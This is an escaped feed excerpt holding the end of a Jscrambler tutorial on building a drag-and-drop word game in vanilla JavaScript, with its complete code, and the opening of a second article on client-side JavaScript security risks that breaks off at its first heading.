&lt;center&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.jscrambler.com%2Fcontent%2Fimages%2F2021%2F08%2Fjscrambler-blog-build-a-game-in-js-3.png" alt=""&gt;&lt;/center&gt;

&lt;p&gt;Obviously, this is a bug that we need to fix. Luckily, the solution is easy: we’ll just get the source element’s &lt;code&gt;data-source-id&lt;/code&gt;, and we’ll use it to build a string which we’ll then use to run the &lt;code&gt;querySelector&lt;/code&gt; on the entire document. This will allow us to find &lt;em&gt;the one&lt;/em&gt; source span tag whose text node we used to pass it to the correct target slot. Once we do that, all we need to do is set the &lt;code&gt;draggable&lt;/code&gt; attribute to &lt;code&gt;false&lt;/code&gt; (on the source span element)⁠, thus preventing the already used source span element from being dragged again.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dataSourceId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;dataTargetId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insertAdjacentHTML&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;afterbegin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dataSourceId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;border: none; background: #abcdef&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;sourceElemDataId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;span[data-source-id="&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;dataSourceId&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;"]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;sourceElemSpanTag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sourceElemDataId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Additionally, we can give our source element the styling to indicate that it’s no longer draggable. A nice way to do it is to add another attribute: a &lt;code&gt;class&lt;/code&gt; attribute. We can do this with &lt;code&gt;setAttribute&lt;/code&gt; syntax, but here’s another approach, using &lt;code&gt;Object.assign()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;    &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;assign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sourceElemSpanTag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;no-longer-draggable&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above syntax allows us to set several attributes, and thus we can also set &lt;code&gt;draggable&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt; as the second entry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;    &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;assign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sourceElemSpanTag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;no-longer-draggable&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;draggable&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Of course, we also need to update the CSS with the &lt;code&gt;no-longer-draggable&lt;/code&gt; class:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nc"&gt;.no-longer-draggable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;not-allowed&lt;/span&gt; &lt;span class="cp"&gt;!important&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;lightgray&lt;/span&gt; &lt;span class="cp"&gt;!important&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;opacity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0.5&lt;/span&gt; &lt;span class="cp"&gt;!important&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have an additional small bug to fix: earlier in the tutorial, we’ve defined the &lt;code&gt;dragEnterHandler()&lt;/code&gt; and the &lt;code&gt;dragLeaveHandler()&lt;/code&gt; functions. The former function sets the styles on the dragged-over target to a dotted border and a pale background, which signals a possible drop location. The latter function reverts these styles to &lt;code&gt;border: none; background: #abcdef&lt;/code&gt;. However, our bug occurs if we drag and try to drop a word into the wrong place. This happens because the &lt;code&gt;dragEnterHandler()&lt;/code&gt; event handler gets called as we drag over the wrong word, but since we never trigger the &lt;code&gt;dragLeaveHandler()&lt;/code&gt;⁠—instead, we triggered the &lt;code&gt;dropHandler()&lt;/code&gt; function⁠—the styles never get reverted.&lt;/p&gt;

&lt;p&gt;The solution for this is really easy: we’ll just run the &lt;code&gt;dragLeaveHandler()&lt;/code&gt; at the top of the &lt;code&gt;dropHandler()&lt;/code&gt; function definition, right after the &lt;code&gt;e.preventDefault()&lt;/code&gt;, like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dropHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nf"&gt;dragLeaveHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now our simple game is complete!&lt;/p&gt;

&lt;p&gt;Here’s the full, completed JavaScript code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;jumbledWords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#jumbledWordsWrapper &amp;gt; span&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;orderedWords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#orderedWordsWrapper &amp;gt; span&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;jumbledWords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragstart&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dragStartHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragend&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dragEndHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="nx"&gt;orderedWords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragenter&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dragEnterHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragover&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dragOverHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragleave&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dragLeaveHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;drop&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dropHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragStartHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataTransfer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;data-source-id&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;opacity: 0.3&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragEndHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;opacity: 1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragEnterHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;border: 2px dashed gray; box-sizing: border-box; background: whitesmoke&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragOverHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragLeaveHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;border: none; background: #abcdef&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dropHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nf"&gt;dragLeaveHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dataSourceId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataTransfer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dataTargetId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;data-target-id&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dataSourceId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;dataTargetId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insertAdjacentHTML&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;afterbegin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dataSourceId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;border: none; background: #abcdef&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;sourceElemDataId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;span[data-source-id="&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;dataSourceId&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;"]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;sourceElemSpanTag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sourceElemDataId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;assign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sourceElemSpanTag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;no-longer-draggable&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;draggable&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Even though our game is finished, this doesn’t have to be the end of the road! &lt;/p&gt;

&lt;p&gt;It’s always possible to further improve our code. There are many additional things that can be done here.&lt;/p&gt;

&lt;p&gt;We could, for example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Add a start and end screen;&lt;/li&gt;
&lt;li&gt;Add a counter that would count the number of attempts;&lt;/li&gt;
&lt;li&gt;Add a countdown timer that would not limit the number of attempts, but rather the time available for us to complete our puzzle game;&lt;/li&gt;
&lt;li&gt;Add more questions;&lt;/li&gt;
&lt;li&gt;Add a leaderboard (we’d need to persist our data somehow);&lt;/li&gt;
&lt;li&gt;Refactor the logic of our game so that we can keep the questions and the order of words in a simple JS object;&lt;/li&gt;
&lt;li&gt;Fetch the questions from a remote API.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There are always more things to learn and more ways to expand our apps. However, all of the above-listed improvements are out of the scope of this tutorial⁠—learning the basics of the Drag and Drop API by building a simple game in vanilla JS.&lt;/p&gt;

&lt;p&gt;The fun of coding is in the fact that you can try things on your own. So, try to implement some of these improvements, and make this game your own.&lt;/p&gt;

&lt;p&gt;Lastly, if you want to secure your JavaScript source code against theft and reverse-engineering, you can &lt;a href="https://jscrambler.com/signup?utm_source=blog.jscrambler.com&amp;amp;utm_medium=referral&amp;amp;utm_campaign=build-simple-game" rel="noopener noreferrer"&gt;try Jscrambler&lt;/a&gt; for free.&lt;/p&gt;




&lt;p&gt;Originally published on the &lt;a href="https://blog.jscrambler.com/build-a-simple-game-in-vanilla-js-with-the-drag-and-drop-api/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=build-simple-game"&gt;Jscrambler Blog&lt;/a&gt; by &lt;a href="https://blog.jscrambler.com/author/ajdin?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=build-simple-game"&gt;Ajdin Imsirovic&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>api</category>
      <category>gamedev</category>
    </item>
    <item>
      <title>The Most Effective Way to Protect Client-Side JavaScript Applications</title>
      <dc:creator>Jscrambler</dc:creator>
      <pubDate>Tue, 06 Jul 2021 15:34:49 +0000</pubDate>
      <link>https://forem.com/jscrambler/the-most-effective-way-to-protect-client-side-javascript-applications-1hi</link>
      <guid>https://forem.com/jscrambler/the-most-effective-way-to-protect-client-side-javascript-applications-1hi</guid>
      <description>&lt;p&gt;JavaScript is a programming language with many useful features—it is built around flexibility, giving you all the capability necessary to do what you want with it. JavaScript’s dynamic nature allowed it to become the &lt;em&gt;de facto&lt;/em&gt; language for the browser and the most popular programming language in the world.&lt;/p&gt;

&lt;p&gt;One of the most useful JS features is, for example, immediate parsing. This feature means that the browser executes the code right as it downloads content, naturally providing benefits. However, with this level of freedom also comes responsibility.&lt;/p&gt;

&lt;p&gt;In this article, weʼd like to delve into the JavaScript security risks and how to protect JavaScript code. This time we will cover only front-end code that runs on the browser, but we have another tutorial on &lt;a href="https://blog.jscrambler.com/how-to-protect-node-js-apps-with-jscrambler/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=protect-client-side-javascript"&gt;protecting Node.js apps&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  How does the browser execute JavaScript?
&lt;/h2&gt;

&lt;p&gt;Imagine all the steps required for a browser. First, it has to download the page and begin parsing. The browser doesnʼt wait around for everything to download—it has the capability to download and parse the page at the same time. So what happens when it encounters JavaScript?&lt;/p&gt;

&lt;p&gt;JavaScript is &lt;a href="https://web.dev/render-blocking-resources/" rel="noopener noreferrer"&gt;render blocking&lt;/a&gt;, which has a tremendous advantage when it executes. This means that, the browser will halt parsing, execute JavaScript first, then continue. This provides ultimate flexibility in wielding this programming language and opens up the code to any number of possibilities.&lt;/p&gt;

&lt;p&gt;However, the question is: what are the implications of such features when trying to build secure JavaScript apps?&lt;/p&gt;

&lt;h1&gt;
  
  
  The Risks of JavaScript
&lt;/h1&gt;

&lt;h2&gt;
  
  
  1. Debugging and Tampering
&lt;/h2&gt;

